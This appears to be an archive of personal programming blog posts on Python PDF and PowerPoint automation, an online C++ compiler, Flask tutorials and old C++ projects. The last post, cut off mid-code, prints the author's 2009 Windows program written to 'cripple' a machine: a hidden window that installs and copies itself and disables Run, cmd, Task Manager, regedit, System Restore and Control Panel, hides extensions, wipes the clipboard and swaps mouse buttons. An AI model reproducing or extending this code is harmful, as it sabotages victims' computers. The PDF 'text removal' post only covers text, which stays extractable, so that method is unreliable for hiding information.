This script loads the template, renders it with the provided data, and outputs a PDF to the specified directory. The path to the image is provided as an absolute path to avoid errors.

Running the Script

To run the script, simply execute it from your terminal while in the project directory:

    

python script.py template.html

This will generate a PDF file with the rendered content. The output PDF will be saved in the output directory with a unique name based on the current date.

generated PDF file

Handling Errors

Sometimes, you might encounter issues like missing image files or incorrect file paths. Make sure to:

• Check the file path of the image used in the template.

• Ensure that --enable-local-file-access is set in the pdfkit options to allow local file access.

• Use absolute paths for local files to avoid any issues related to relative paths.

Customizing Your PDF

You can customize the PDF output by modifying the template, adding more dynamic data to the Jinja2 context, and adjusting the CSS styling. For example, you could change the page layout, font styles, or add additional sections like tables or charts.

Conclusion

In this tutorial, we’ve shown how to create PDFs using Jinja2 templates and Python. By organizing your code into a local Python environment and following best practices for managing dependencies, you can easily generate custom documents automatically. This process can be extended and customized for various use cases, making it an efficient way to automate document generation.

Create a PowerPoint Presentation in Minutes with Python

2025-01-15T21:02:14+00:00

How to Create a PowerPoint Presentation Using Python

Have you ever needed to create a presentation but lacked access to office software or simply didn’t have the time to design it manually? With Python and the python-pptx library, you can automate the process, creating professional-looking presentations with ease. In this tutorial, I’ll walk you through creating a PowerPoint presentation, including adding text, formatting slides, and incorporating figures generated using Python.

1. Setting Up Your Environment

To get started, install the necessary libraries:

    

pip install python-pptx matplotlib

The python-pptx library will handle creating and formatting the presentation, while matplotlib is used for generating images and graphs.

2. Creating a Basic Presentation

Start by creating a new PowerPoint file:

    

from pptx import Presentation

# Create a new presentation
prs = Presentation()

# Save the presentation
prs.save('my_presentation.pptx')

This creates an empty PowerPoint file named my_presentation.pptx.

3. Adding Slides and Text

To add a title slide with text:

    

# Add a title slide
slide = prs.slides.add_slide(prs.slide_layouts[0])

# Set the title and subtitle
title = slide.shapes.title
subtitle = slide.placeholders[1]

title.text = "Welcome to Python-Powered Presentations"
subtitle.text = "Automate your PowerPoint creation!"

4. Formatting Text

You can customize the appearance of the text, such as font size and color:

    

from pptx.util import Pt
from pptx.dml.color import RGBColor

# Format the title
title.text_frame.text = "Python Power"
title_format = title.text_frame.paragraphs[0]
title_format.font.size = Pt(36)
title_format.font.bold = True
title_format.font.color.rgb = RGBColor(255, 0, 0)  # Red

5. Adding Figures

Generate and include figures using matplotlib:

    

import matplotlib.pyplot as plt

# Create a sample plot
plt.figure(figsize=(6, 4))
plt.plot([1, 2, 3], [4, 5, 6], label="Sample Line")
plt.xlabel("X-Axis")
plt.ylabel("Y-Axis")
plt.title("Sample Plot")
plt.legend()

# Save the figure
plt.savefig('sample_plot.png')

# Add the image to a slide
image_slide = prs.slides.add_slide(prs.slide_layouts[5])  # Blank layout
image_slide.shapes.add_picture('sample_plot.png', Pt(100), Pt(100), width=Pt(400), height=Pt(300))

6. Saving the Presentation

Once you’ve added content, save the presentation:

    

prs.save('final_presentation.pptx')

Here is the full python script, you can easily extend it with more slides

    


from pptx import Presentation
from pptx.util import Pt
from pptx.dml.color import RGBColor
import matplotlib.pyplot as plt

# Create a new PowerPoint presentation
prs = Presentation()

# 1. Add a title slide
slide = prs.slides.add_slide(prs.slide_layouts[0])
title = slide.shapes.title
subtitle = slide.placeholders[1]
title.text = "Welcome to Python-Powered Presentations"
subtitle.text = "Automate your PowerPoint creation!"

# Format the title text
title_format = title.text_frame.paragraphs[0]
title_format.font.size = Pt(36)
title_format.font.bold = True
title_format.font.color.rgb = RGBColor(0, 102, 204)  # Blue color

# Format the subtitle text
subtitle_format = subtitle.text_frame.paragraphs[0]
subtitle_format.font.size = Pt(24)
subtitle_format.font.color.rgb = RGBColor(128, 128, 128)  # Gray color

# 2. Add a content slide
content_slide = prs.slides.add_slide(prs.slide_layouts[1])
content_title = content_slide.shapes.title
content_title.text = "Benefits of Python-Powered Slides"

# Add bullet points
bullet_points = [
    "Automate repetitive tasks",
    "Generate dynamic presentations",
    "Integrate data and figures effortlessly"
]
content = content_slide.placeholders[1]
for point in bullet_points:
    paragraph = content.text_frame.add_paragraph()
    paragraph.text = point
    paragraph.level = 0  # Top-level bullet point
    paragraph.font.size = Pt(18)
    paragraph.font.color.rgb = RGBColor(0, 0, 0)  # Black color

# 3. Generate a figure with matplotlib
plt.figure(figsize=(6, 4))
plt.plot([1, 2, 3], [4, 5, 6], label="Sample Line", color="blue")
plt.xlabel("X-Axis")
plt.ylabel("Y-Axis")
plt.title("Sample Plot")
plt.legend()
figure_path = "sample_plot.png"
plt.savefig(figure_path)
plt.close()

# 4. Add the figure to a new slide
image_slide = prs.slides.add_slide(prs.slide_layouts[5])  # Blank slide layout
image_slide.shapes.add_picture(figure_path, Pt(100), Pt(100), width=Pt(500), height=Pt(300))

# 5. Save the presentation
output_file = "final_presentation.pptx"
prs.save(output_file)
print(f"Presentation saved as {output_file}")

Automating PowerPoint Creation with Python

Conclusion

With just a few lines of Python code, you can create fully customized PowerPoint presentations. This approach is perfect for generating slides dynamically, especially when dealing with large datasets or repetitive tasks.

cpp.sh: Your Ultimate Online C++ Compiler

2024-05-18T19:17:29+00:00

Explore cpp.sh: Your Go-To Online Platform for Running C++ Code

In the world of programming, C++ remains one of the most influential and powerful languages. Whether you’re a beginner learning the ropes or a seasoned developer working on complex projects, having a reliable and accessible platform to write, test, and run your C++ code is invaluable. Enter cpp.sh, an online compiler that simplifies the process of coding in C++ by offering a user-friendly interface and powerful features—all without the need to install any software on your local machine.

What is cpp.sh?

Cpp.sh is an online compiler and editor designed specifically for C++ programming. It allows users to write, compile, and run C++ code directly from their web browser. This web-based tool is especially useful for students, educators, and developers who need a quick and convenient way to test snippets of C++ code or share their work with others.

Key Features

Instant Compilation and Execution: One of the standout features of cpp.sh is its ability to compile and execute code instantly. This immediate feedback loop is crucial for learning and debugging, allowing users to see the results of their code in real-time.
User-Friendly Interface: The platform boasts a clean and intuitive interface. The code editor is designed with syntax highlighting and line numbering, making it easy to write and read code. Additionally, the interface is straightforward, ensuring that even beginners can navigate it with ease.
Cross-Platform Accessibility: Since cpp.sh is a web-based tool, it is accessible from any device with an internet connection. This cross-platform compatibility means you can code on the go, whether you're using a desktop, laptop, tablet, or smartphone.
Code Sharing and Collaboration: cpp.sh makes it easy to share code snippets. You can generate a unique URL for your code, allowing you to share it with peers, instructors, or collaborators quickly. This feature is particularly beneficial for collaborative projects or seeking help from the programming community.
Customization Options: Users can customize their coding environment to suit their preferences. This includes changing the theme of the editor, adjusting font sizes, and configuring other settings to create a comfortable coding experience.
No Installation Required: One of the primary advantages of cpp.sh is that it eliminates the need to install a local C++ development environment. This can save time and resources, particularly for those who may face difficulties installing software on their machines.

Getting Started with cpp.sh

Using cpp.sh is simple and straightforward. Here’s a quick guide to get you started:

Visit the Website: Go to cpp.sh in your web browser.
Write Your Code: Start typing your C++ code in the provided editor. The interface supports syntax highlighting, which helps in identifying various elements of the code.
Compile and Run: Once you’ve written your code, click the "Run" button. cpp.sh will compile and execute your code, displaying the output directly on the screen.
Save and Share: If you want to save your code or share it with others, use the "Share" button to generate a unique URL.

Why Choose cpp.sh?

Cpp.sh is a powerful tool for anyone interested in C++ programming. Its ease of use, instant feedback, and accessibility make it an excellent choice for both learning and professional development. Whether you’re debugging a tricky algorithm, learning the basics of C++, or working on a collaborative project, cpp.sh provides a seamless and efficient coding experience.

In a digital age where convenience and efficiency are paramount, cpp.sh stands out as a reliable and robust platform for running C++ code online. Give it a try and experience the benefits of this versatile online compiler.

Step-by-Step Tutorial: Removing Text from PDFs Using Python

2024-02-20T19:28:58+00:00

Introduction

In today's digital world, PDF documents are used everywhere, serving as the go-to format for sharing and preserving content. However, there are times when we need to tweak these documents, whether it's removing repetitive headers, footers, or other unwanted text. Fortunately, with the power of Python scripting, this task becomes a breeze. In this article, I'll walk you through a simple yet effective method to remove text from PDF pages using Python.

Understanding the Technique

The technique we'll be using is simple and straightforward, we simply draw rectangles over the text we want to remove. By covering the unwanted text with rectangles, we effectively conceal it from view, achieving the desired outcome without altering the original document structure. if the page background is white, we use white rectangles, if it is yellow, we use yellow.

Step-by-Step Guide

1. Setting Up the Environment

As always, let's begin by setting up a local environment for this script. In my machine, I have a local environment for all the scripts I use in my everyday operations. Open your terminal and execute the following commands:

    

python -m venv "${HOME}/bin/venv"
source "${HOME}/bin/venv/bin/activate"

Before we dive into the process, let's ensure we have everything set up. Start by installing the necessary Python libraries, mainly PyMuPDF. Open your terminal and execute the following command to install it

    

pip install PyMuPDF

2. Using the Python Script

Now, let's get to the heart of the matter. I've prepared a Python script that automates the text removal process. Simply input the coordinates of the text you want to remove, and let the script do the rest.



import sys
import os
import fitz  # PyMuPDF

def erase_pattern_or_draw_rectangle(pdf_path,color, pattern_rect, output_path=None,page_number=None):
    """
    Erases a pattern or draws a black rectangle over it in each page of the PDF.

    Args:
        pdf_path (str): Path to the PDF file.
        pattern_rect (tuple): Tuple containing the coordinates (x0, y0, x1, y1) of the pattern to erase.
        output_path (str, optional): Path to save the modified PDF. If not provided, modifies the original PDF.
    """
    # Open the PDF
    pdf_document = fitz.open(pdf_path)

    # Iterate over each page
    for page_num in range(len(pdf_document)):
        if page_number is not None and page_number != page_num:
            continue
        # Get the page
        page = pdf_document[page_num]
        page.draw_rect(pattern_rect,
                       color=fitz.utils.getColor(color),
                       fill=fitz.utils.getColor(color),
                       fill_opacity=1)


    # Save the modified PDF if output_path is provided
    if output_path:
        pdf_document.save(output_path)
        pdf_document.close()

if len(sys.argv) >= 7:
    pdf_path = sys.argv[1]
    color = sys.argv[2]
    try:
        # Convert coordinates to integers
        pattern_rect = tuple(map(int, sys.argv[3:7]))
        page_number=None
        if len(sys.argv) == 8:
            page_number=int(sys.argv[7])
        input_filename, input_file_extension = os.path.splitext(pdf_path)
        output_filename = input_filename + "_modified" + input_file_extension
        erase_pattern_or_draw_rectangle(pdf_path, color, pattern_rect, output_filename,page_number)
        print("check output")
    except ValueError:
        print("Error: Invalid coordinates. Please provide four integers for the rectangle coordinates.")
else:
    print("Usage  : python script.py <pdf_path> <color> <x0> <y0> <x1> <y1> [page_number]")
    print("Example: python script.py <pdf_path> white 0 0 10 5")

The script take the following arguments from the command line

pdf_path: the path of the pdf document we want to edit
color: the name of the color of the rectangle, only supported color names in the fitz package from pymupdf are allowed, otherwise you get errors
four numbers x0 y0 x1 y1: representing the coordinates of the rectangle, (x0,y0) the coordinates of the upper left corner of the rectangle and (x1,y1) the coordinates of the lower right corner of the rectangle
page_num (optional): a page number, if provided we will draw the rectangle in only this page, otherwise we draw the rectangle in all pages, keep in mind that fitz starts page numbering from zero.

3. Selecting the Target Text

Identifying the text you want to remove is the first step. Whether it's a pesky header, footer, or watermark, if you don't like, just hide it. Just execute the script with black color and some coordinates: 0 0 200 30, these coordinates will create a black rectangle from the upper right corner of the page, with length 200 and width 30. You can proceed from there and keep changing the values untill you cover the exact text you want to hide, then change the color to white. And poof it's gone. just like magic

Example Use Cases

Removing repeated headers or footers from reports or invoices.
Eliminating watermarks or logos from PDF templates.
Cleaning up scanned documents by removing OCR-generated text.

Enhancements and Further Exploration

Looking to take your PDF editing skills to the next level? Consider exploring advanced techniques such as text extraction, annotation, and metadata editing. With Python by your side, the possibilities are endless.

You can check my previous articles on the subject of editing PDF documents

Conclusion

With Python scripting, removing text from PDF pages has never been easier. By following this step-by-step guide, you'll be able to tackle even the most stubborn text with confidence. So go ahead, give it a try, and unlock the full potential of your PDF documents.

Additional Resources

For more information on Python PDF manipulation, check out these resources:

Step-by-Step Guide to Extracting PDF Pages with Python

2024-01-27T18:46:09+00:00

Have you ever needed to extract specific pages or a single page from a PDF document? Whether you're dealing with lengthy reports, research papers, or manuals, extracting only the pages you need can save time and streamline your workflow. In this article, we'll introduce a Python script that allows you to precisely extract pages from a PDF file, along with a convenient shell script to simplify its usage.

If you're ready to extract specific pages or a single page from a PDF document, let's get started! Before diving into the Python script, ensure you have the necessary dependencies installed. First, you'll need to have the PyPDF2 package installed. If you haven't already installed it, you can do so using pip:

    

    pip install PyPDF2

Additionally, if you prefer to keep your Python environments isolated, consider setting up a local virtual environment. This allows you to manage package dependencies for individual projects without affecting the system-wide Python installation. Here's how you can create and activate a virtual environment:

    

# Create a virtual environment named 'venv'
python -m venv venv

# Activate the virtual environment
source venv/bin/activate  (on Unix/Linux)
venv\Scripts\activate.bat (on Windows)

Once you've prepared your environment, you're ready to dive into the Python script for extracting pages from PDF documents. Let's explore how to use the script effectively!

Understanding the Python Script: pdf_extract.py

The core of our solution is a Python script named pdf_extract.py. This script leverages the PyPDF2 library, a powerful tool for working with PDF files in Python.

    

#!/usr/bin/python

from PyPDF2 import PdfReader, PdfWriter
import sys
import os

# Get the command-line arguments
args = sys.argv[1:]
num_args = len(args)

# Check the number of arguments and set the input file, start page, and end page accordingly
if num_args == 2:
    input_file = args[0]
    start_page = int(args[1])
    end_page = start_page
elif num_args == 3:
    input_file = args[0]
    start_page = int(args[1])
    end_page = int(args[2])
else:
    print("Usage: python extract_pages.py input_file start_page [end_page]")
    sys.exit()

print("start page",start_page)
print("end page",end_page)

pdf = PdfReader(input_file)
pdf_writer = PdfWriter()

fn, ext = os.path.splitext(input_file)
output_file = f"{fn}-pages-{start_page}-{end_page}{ext}"

print(f"file contains {len(pdf.pages)} pages")

if end_page == len(pdf.pages):
    end_page = end_page -1
for page in range(start_page,end_page+1):
    current_page = pdf.pages[page]
    pdf_writer.add_page(current_page)

with open(output_file, "wb") as out:
    pdf_writer.write(out)

    print("created", output_file)

Here's how the script works:

Command-line Arguments: The script accepts command-line arguments to specify the input PDF file, the starting page, and optionally, the ending page.
Page Extraction: It opens the input PDF file and extracts the specified pages into a new PDF file.

Let's break down how to use the script:

Usage:

    

python pdf_extract.py input_file start_page [end_page]

input_file: Path to the input PDF file.

start_page: Page number from which extraction should begin.

end_page (optional): Page number at which extraction should end. If not provided, extraction will only include the specified start_page.

Shell Script for Simplified Usage

To make the extraction process even more convenient, we've created a shell script that wraps the Python script. This shell script takes care of activating a Python virtual environment (if you're using one) and calling the Python script with the provided arguments.

Here's the shell script named pdf_extract.sh:

    

#!/bin/bash
source "${HOME}/bin/venv/bin/activate"  # Activate Python virtual environment (if applicable)
python "${HOME}/bin/pdf_extract.py" "$1" $2 $3  # Call the Python script with arguments

Usage:

    

./pdf_extract.sh input_file start_page [end_page]

input_file: Path to the input PDF file.

start_page: Page number from which extraction should begin.

end_page (optional): Page number at which extraction should end. If not provided, extraction will only include the specified start_page.

Extracting pages from document

Enhancing Your Workflow

By using the pdf_extract.py Python script and the pdf_extract.sh shell script, you can efficiently extract specific pages or a single page from PDF documents. Whether you're managing academic papers, business documents, or personal files, this tool can help you extract the content you need, simplifying your workflow and saving you time.

With these tools and tips at your disposal, managing PDF documents will become a breeze. We welcome your feedback! If you have any suggestions or improvements for the script, feel free to share them with us. in a comment

Sharing My Old Programs: Exploring a C++ Number Guessing Game from 2010

2024-01-25T22:03:38+00:00

Introduction

Welcome to an intriguing journey back to 2010, where a console-based C++ game awaits your exploration. This program, a captivating number guessing game that I designed back in the day, challenges you to decipher a randomly generated 4-digit number.

As we delve into the intricacies of this codebase, you'll uncover the mechanics behind this classic game and gain insights into the foundational aspects of C++ programming.

Code Structure

The code is structured into modular components, facilitating an organized and efficient implementation of the number guessing game. well and also I wasn't yet proficient in object oriented C++ programming yet at the time.

1. tableau_r.h

This header file introduces template functions responsible for handling arrays, including operations like splitting a number into digits, checking duplications, and sorting.


// Example code snippet:
// Function to split a number into digits and store them in an array
template <typename type>
void _nb_chiffres(int x, type A) {
    int m, r, d, i;
    i = 0;
    d = 1000;
    do {
        r = x % d;
        m = x / d;
        A[i] = m;
        i++;
        x = r;
        d = d / 10;
    } while (d >= 1);
}


// Example code snippet:
// Template function to check for duplications in an array
template <typename type>
int dupliq(type A) {
    int s;
    for (int i = 0; i < n; i++) {
        s = A[i];
        for (int j = i + 1; j < 4; j++)
            if (s == A[j]) return 0; // Duplicate digit
    }
    return 1;
}

2. number_r.h

In the "number_r.h" file, functions for generating a random 4-digit number, comparing user input against the generated number, and managing scoring are defined. Additionally, high score handling is implemented using file I/O.


// Example code snippet:
// Function to generate a random 4-digit number with specific constraints
int __nb() {
    int x, dplq, index, zero;
    srand((unsigned)time(NULL));
    index = 1;
    do {
        x = rand(); // generate a random number
        if (x > 1000 && x < 10000) {
            _nb_chiffres(x, NB); // this function stores the digits of the number "x" into an array "NB"
            dplq = dupliq(NB); // this function returns 1 if there are duplicates
                   // otherwise it return 0
            zero = les_zero(NB);
            for (int i = 0; i < 4; i++)
                if (zero == 1 && dplq == 1)
                    index = 0;
        }
    } while (index == 1); // continue to generate numbers until no duplicates and no zeros
    return x;         // are generated then return the number
}

3. window_r.h

The "window_r.h" file focuses on console window setup, displaying introductory messages, and providing help during the game. It contributes to the user interface aspects of the program.


// Example code snippet:
// Function to set up the console window and display introductory messages
void window() {
    COORD xy;
    xy.X = 80;
    xy.Y = 700;

    SMALL_RECT rec = { 0,0,xy.X-1,xy.Y-1 };

    SetConsoleTitleA("Jeu  de  chiffres  par   ** MOSAID Radouan **   Le 27 avril 2010");
    SetConsoleTextAttribute(handle, FOREGROUND_RED | FOREGROUND_INTENSITY);
    SetConsoleScreenBufferSize(handle, xy);
    SetConsoleWindowInfo(handle, true, &rec);
}

4. main.cpp

The main program file, "main.cpp," orchestrates the game loop. It handles user input, scoring, and the overall game logic, including functions for comparing user guesses against the generated number.. It includes recursion for playing multiple rounds and ensures a graceful exit.

Game Logic

let's Unveil the inner workings of the number guessing game's logic, offering insights into its fundamental gameplay elements.

The game starts by generating a random 4-digit number using the functions defined in "number_r.h." Constraints are applied to ensure no duplications and no zeros in the generated number.

User interaction is facilitated through the main program file, "main.cpp". Players input their guesses, and the game provides feedback by comparing these guesses against the generated number. Scoring mechanisms deduct points for each attempt, encouraging efficient and strategic guessing.

The scoring system is implemented to evaluate user performance. High scores are stored and retrieved using file I/O operations, allowing players to track their achievements across multiple game sessions.


// Example code snippet:
// Scoring and high score handling with file I/O
float score_f(float score) {
  char w[20];
  float x;
  GetWindowsDirectoryA(w,100);
  strcat(w,"\\mosaid_game.txt");
  fstream file(w);
  file>>x;
  if(x<score)
  {
     ofstream fl(w);
     fl<<score;
     return score;
  }
  else return x;

}

File input/output operations are employed to maintain persistent high scores. This ensures that even after exiting the game, players can revisit and strive to surpass their previous achievements. The scoring file serves as a record of players' accomplishments over time.

2. Introductory Messages

At the beginning of the game, players are welcomed with informative messages. These messages provide an overview of the game's rules, constraints, and scoring mechanisms, setting the stage for an engaging experience.

The Game introductory messages

3. In-Game Communication

Throughout the game, messages are displayed in the console to guide players. This includes feedback on their guesses, alerts about correct digits, and assistance for those seeking help. The use of color attributes enhances the visual appeal and user experience.

The game process

Conclusion

In conclusion, the C++ number guessing game from 2010 provides a nostalgic glimpse into the world of console-based game development during that era. The modular code structure, encompassing header files like "tableau_r.h", "number_r.h", and "window_r.h", showcases an organized and efficient approach to implementing game functionalities.

You can get the entire C++ code from here. To be compiled in the now outdated Bloodshed Dev C++ compiler.

Implementing Secure Delete Functionality in a Flask Application

2024-01-25T11:30:55+00:00

Introduction:

Dealing with the delete functionality in a web application requires careful consideration of security measures to prevent unauthorized access and potential risks. In this article, we'll explore how to implement a secure delete feature in a Flask application, focusing on the example of deleting books. We'll discuss the backend implementation using Flask, SQLAlchemy, and the Jinja2 template provided.

Prerequisites:

Ensure you have a Flask application set up with the necessary dependencies, including Flask-SQLAlchemy for database interactions.

Backend Implementation:

Let's dive into the backend code for handling book deletions. We assume that you have an admin Blueprint set up for administrative tasks.

    

# Import necessary modules
from flask import Blueprint, render_template, url_for, flash, redirect
from flask_login import login_required, current_user
from your_application import db  # Replace with your actual application instance
from your_application.models import Book  # Replace with your actual Book model

# Create the admin Blueprint
admin_blueprt = Blueprint('admin', __name__)

# Route for deleting a book
@admin_blueprt.route('/manage_books//delete', methods=['POST'])
@login_required
def delete_book(id):
    # Check if the current user is an admin
    if not current_user.is_admin():
        flash('You do not have permission to access this page', 'danger')
        return redirect(url_for('app.index'))  # Adjust the redirection as needed

    # Retrieve the book from the database or return a 404 error if not found
    book = Book.query.get_or_404(id)

    # Construct file paths for book-related files
    static_folder = current_app.static_folder
    pdf_path = f'{static_folder}/pdf-books/{book.slug}'

    try:
        # Remove book-related files
        os.remove(pdf_path)
        thumb = f'{static_folder}/pdf-books/thumbnails/{book.thumb}'
        os.remove(thumb)
        image = f'{static_folder}/pdf-books/banners/{book.image}'
        os.remove(image)
    except Exception as e:
        # Handle file deletion errors (log, flash, or ignore as appropriate)
        app.logger.error(f"Error deleting files for book {book.id}: {str(e)}")

    # Delete the book from the database
    db.session.delete(book)
    db.session.commit()

    flash('Book deleted.', 'success')
    return redirect(url_for('app.index'))  # Adjust the redirection as needed

Frontend Implementation:

To allow administrators to delete books, integrate the following Jinja2 template snippet into your HTML views. Place this code where you want the delete button to appear, ensuring that it's wrapped inside a conditional block to check if the user is authenticated and an admin.

    

{% if current_user.is_authenticated and current_user.is_admin() %}
    <form class="inline" method="post"
        action="{{ url_for('admin.delete_book', id=book.id, next=url_for('app.index')) }}">
        <input type="hidden" name="csrf_token" value="{{ csrf_token() }}"/>
        <button type="submit" class="btn btn-danger btn-sm"
                onclick="return confirm('Are you sure?');">Delete
        </button>
    </form>
{% endif %}

you'll get a compact yet effective UI element. The template generates a small "Delete" button, suitable for placement anywhere within your application's views. Upon clicking the button, a JavaScript popup window prompts the user to confirm the deletion. This additional confirmation step adds an extra layer of precaution, preventing accidental deletions. The onclick attribute in the button triggers the confirmation dialog, asking the user if they are sure about the deletion. The combination of a discrete button and a clear confirmation dialog enhances the overall user experience and helps prevent unintentional deletions. Feel free to customize the button's appearance or integrate it into different parts of your application to suit your design preferences.

Screenshot of the admin buttons

Implementing a secure delete functionality in a Flask application involves a combination of backend and frontend considerations. Ensure that the backend code is protected against unauthorized access and follows best practices for file deletion and database operations. The provided Jinja2 template snippet facilitates the creation of a delete button in your views, allowing administrators to interact with the secure delete feature.

By following these steps, you can enhance the functionality of your Flask application while maintaining a strong focus on security. Remember to adapt the code to your specific application structure and requirements.

Conclusion:

In conclusion, this article has guided you through the secure implementation of a delete functionality for books in a Flask application. By incorporating backend measures to handle authentication, authorization, and secure file deletion, and by using a compact yet effective Jinja2 template for the frontend, you've created a reliable and user-friendly feature. The combination of a small, strategically placed delete button and a JavaScript confirmation popup ensures a seamless user experience with an added layer of precaution against accidental deletions.

As you explore Flask and its capabilities, remember that this article is just a starting point. The Flask framework offers a wide range of functionalities, and you may have specific requirements for your application. Feel free to experiment and adapt the code to meet your needs. If you have questions, comments, or if there's any other Flask functionality you'd like to explore, don't hesitate to reach out. I'm open to feedback and eager to follow up with additional articles based on your interests. Happy coding!

Enhance Flask Database Resilience with the retry_database connection Python Decorator

2024-01-24T12:54:26+00:00

In the intricate world of Flask development, where efficient database handling is paramount, I present a practical solution inspired by personal experience. If you've followed my previous article on Python decorators, you'll appreciate the power they wield. In this article, I am going to employ yet another decorator to address the challenges of database concurrency and enhance the reliability of interactions within Flask applications.

Revisiting Python Decorators

In a previous exploration, we uncovered the versatility of Python decorators. These code enhancers, akin to surgical tools, enable us to fine-tune function behavior seamlessly. Now, armed with this understanding, we embark on a Flask-centric journey to fortify our web applications against the uncertainties of database concurrency.

The Challenge of Web Traffic and Database Concurrency

Envision a thriving Flask application, navigating a surge in user activity. At the core of this digital engine, the database stands as a linchpin, tasked with weathering concurrent challenges. It's more than encountering errors like "MySQL server has gone away" or "Connection unexpectedly closed" — these disruptions jeopardize the uninterrupted user experience. To address this, I present my solution: the 'retry_database_connection' decorator meticulously tailored for Flask applications.

Introducing the Flask 'retry_database_connection' Decorator

    

from functools import wraps
import time

# Decorator to retry database connection
def retry_database_connection(max_retries=3, delay_seconds=1):
    def decorator(func):
        @wraps(func)
        def wrapper(*args, **kwargs):
            for _ in range(max_retries):
                try:
                    return func(*args, **kwargs)
                except Exception as e:
                    # Catch specific exceptions related to database connection issues
                    if any(
                        keyword in str(e)
                        for keyword in ["MySQL server has gone away", "Connection unexpectedly closed"]
                    ):
                        print(f"Retrying database connection after {delay_seconds} seconds...")
                        time.sleep(delay_seconds)

                    else:
                        raise  # Re-raise other exceptions
            # If all retries fail, raise the last encountered exception
            raise

        return wrapper

    return decorator

Derived from personal experience, this decorator encapsulates a robust strategy for handling database connectivity issues. It gracefully retries database connections, offering a shield against disruptions, ensuring a smooth user experience even under high traffic conditions.

The decorator employs a retry strategy, allowing customization of the maximum number of retry attempts (max_retries) and the delay between attempts (delay_seconds). The internal function, wrapper, encapsulates the retry logic by attempting to execute the provided function (func). If a database-related exception occurs, such as "MySQL server has gone away" or "Connection unexpectedly closed," the decorator gracefully retries the connection after a specified delay. This mechanism ensures a resilient and reliable database interaction, particularly useful in scenarios where the application may face intermittent disruptions due to high traffic or transient issues. The inclusion of @wraps(func) preserves the original function's metadata for improved debugging and introspection.

it can be used in your Flask application blueprint routers like this:

    

@retry_database_connection(max_retries=5, delay_seconds=2)
@app.route('/')
def get_posts():
    # ... your python queries here


@retry_database_connection()
@app.route('/post/<int:id>/<string:slug>')
def get_post(id,slug):
    # ... your python queries here

Ready to optimize your Flask code? Implement the 'retry_database_connection' decorator and witness the resilience it brings to your database interactions. As you delve into enhancing your Flask applications, I sincerely hope this solution proves invaluable. Happy Flask coding! If you found this article helpful, I'm delighted to have provided insights to elevate your coding endeavors.

Sharing My Old Programs: A Look Back at My 2009 C++ Code, A very difficult program

2024-01-23T19:11:09+00:00

As I reflect on the code I wrote back in 2009, it's fascinating to see how much has changed in the world of Windows development and security. Let's take a closer look at the C++ code I crafted with the intention of implementing various measures to restrict or manipulate certain system functionalities on Windows XP/Windows 7. to actually cripple it and make it unusable.

Warning: Use of this Code for Harmful Purposes

It is crucial to emphasize that the code provided here, originally crafted in 2009, is purely intended for educational purposes and historical reflection. The functions implemented in this code were designed for an outdated Windows XP environment and should never be used in contemporary systems or for malicious intents.

Attempting to apply these functions on modern Windows versions could lead to severe system instability, loss of data, or legal consequences. Technology has evolved, and ethical coding practices are of utmost importance. As a responsible developer, it is essential to prioritize security, adhere to legal standards, and contribute positively to the software development community.

here is the C++ Code:

    

#include <Windows.h>
#include <wchar.h>
#include <stdio.h>
#include <string>
#include <Shellapi.h>

bool no_run();//done
bool no_cmd();//done
bool no_SR();//done
bool no_CPL();//done
bool no_gpedit();//done
bool no_msconfg();//done
bool no_taskmgr();//done
bool no_regedit();//done
bool no_folderOptions();//done
bool hideExt();//done
bool no_clipboard();//done
bool __instal__();//done
bool __copy__();//done
void __copy2__();//done
bool task_sck();
//bool IsRunAsAdmin();
//void run_as_admin(bool fIsRunAsAdmin,HWND hwnd);

/*  Declare Windows procedure  */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);

/*  Make the class name into a global variable  */
char szClassName[ ] = "WindowsApp";

int WINAPI WinMain (HINSTANCE hThisInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpszArgument,
                    int nFunsterStil)

{
    HWND hwnd;               /* This is the handle for our window */
    MSG messages;            /* Here messages to the application are saved */
    WNDCLASSEX wincl;        /* Data structure for the windowclass */

    /* The Window structure */
    wincl.hInstance = hThisInstance;
    wincl.lpszClassName = szClassName;
    wincl.lpfnWndProc = WindowProcedure;      /* This function is called by windows */
    wincl.style = CS_DBLCLKS;                 /* Catch double-clicks */
    wincl.cbSize = sizeof (WNDCLASSEX);

    /* Use default icon and mouse-pointer */
    wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
    wincl.lpszMenuName = NULL;                 /* No menu */
    wincl.cbClsExtra = 0;                      /* No extra bytes after the window class */
    wincl.cbWndExtra = 0;                      /* structure or the window instance */
    /* Use Windows's default color as the background of the window */
    wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;

    /* Register the window class, and if it fails quit the program */
    if (!RegisterClassEx (&wincl))
        return 0;

    /* The class is registered, let's create the program*/
    hwnd = CreateWindowEx (
           0,                   /* Extended possibilites for variation */
           szClassName,         /* Classname */
           "MYv",       /* Title Text */
           WS_MINIMIZEBOX, /* default window */
           CW_USEDEFAULT,       /* Windows decides the position */
           CW_USEDEFAULT,       /* where the window ends up on the screen */
           40,                 /* The programs width */
           60,                 /* and height in pixels */
           HWND_DESKTOP,        /* The window is a child-window to desktop */
           NULL,                /* No menu */
           hThisInstance,       /* Program Instance handler */
           NULL                 /* No Window Creation data */
           );

    /* Make the window invisible on the screen */
    ShowWindow (hwnd,0);

    /* Run the message loop. It will run until GetMessage() returns 0 */
    while (GetMessage (&messages, NULL, 0, 0))
    {
        /* Translate virtual-key messages into character messages */
        TranslateMessage(&messages);
        /* Send message to WindowProcedure */
        DispatchMessage(&messages);
    }

    /* The program return-value is 0 - The value that PostQuitMessage() gave */
    return messages.wParam;
}


/*  This function is called by the Windows function DispatchMessage()  */

LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)                  /* handle the messages */
    {
        case WM_CREATE:

            // run_as_admin(IsRunAsAdmin(),hwnd);

            // TerminateProcess(GetCurrentProcess(),0);
            // task_sck();
             __instal__();
             __copy__();
             SetClipboardViewer(hwnd);
               no_run();
             no_cmd();
             no_folderOptions();
            no_SR();
            no_taskmgr();
             no_regedit();
             no_gpedit();
         no_msconfg();
             no_CPL();
             hideExt();
            SwapMouseButton(true);
            break;
        case WM_DRAWCLIPBOARD:
            no_clipboard();
             __copy2__();
            break;
        case WM_DESTROY:
            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */
            break;
        default:                      /* for messages that we don't deal with */
            return DefWindowProc (hwnd, message, wParam, lParam);
    }

